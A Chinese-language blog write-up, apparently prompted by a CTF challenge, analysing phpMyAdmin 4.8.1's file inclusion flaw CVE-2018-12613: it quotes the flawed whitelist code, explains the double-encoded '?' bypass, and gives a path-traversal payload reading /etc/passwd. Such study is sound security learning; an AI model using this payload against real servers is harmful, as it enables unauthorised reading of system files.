博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

今天刷到了BUU上的一道题,那道题用到的就是phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)这个漏洞,所以在此总结一下

受影响版本

phpmyadmin 4.8.{1,2}

 

环境

https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

 

分析

先来看源码

1 if (! empty($_REQUEST['target'])//是否存在target参数
2     && is_string($_REQUEST['target'])//target的值书否为字符串
3     && ! preg_match('/^index/', $_REQUEST['target'])//正则匹配是否以index开头
4     && ! in_array($_REQUEST['target'], $target_blacklist)//在黑名单内的过滤掉
5     && Core::checkPageValidity($_REQUEST['target'])//Core类中的checkPageValidity方法
6 ) {
7     include $_REQUEST['target'];
8     exit;
9 }

 

黑名单

1 $target_blacklist = array (//黑名单
2     'import.php', 'export.php'
3 );

 

主要代码

 1 public static function checkPageValidity(&$page, array $whitelist = [])
 2    {
 3        if (empty($whitelist)) {
 4            $whitelist = self::$goto_whitelist;
 5        }
 6        if (! isset($page) || !is_string($page)) {
 7            return false;
 8        }
 9 
10        if (in_array($page, $whitelist)) {
11            return true;
12        }
13 
14        $_page = mb_substr(
15            $page,
16            0,
17            mb_strpos($page . '?', '?')
18        );
19        if (in_array($_page, $whitelist)) {
20            return true;
21        }
22 
23        $_page = urldecode($page);
24        $_page = mb_substr(
25            $_page,
26            0,
27            mb_strpos($_page . '?', '?')
28        );
29        if (in_array($_page, $whitelist)) {
30            return true;
31        }
32 
33        return false;
34    }

 

其实主要的代码很好理解,由于多了第二次的解码和判断,导致当传入二次编码的?(即%253f)时会取出导致db_sql.php作为参数从而绕过白名单进而达到文件读取的目的

 

 

任意文件读取

payload:

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

 

posted @ 2020-09-30 20:20  My_Dreams  阅读(445)  评论(0编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();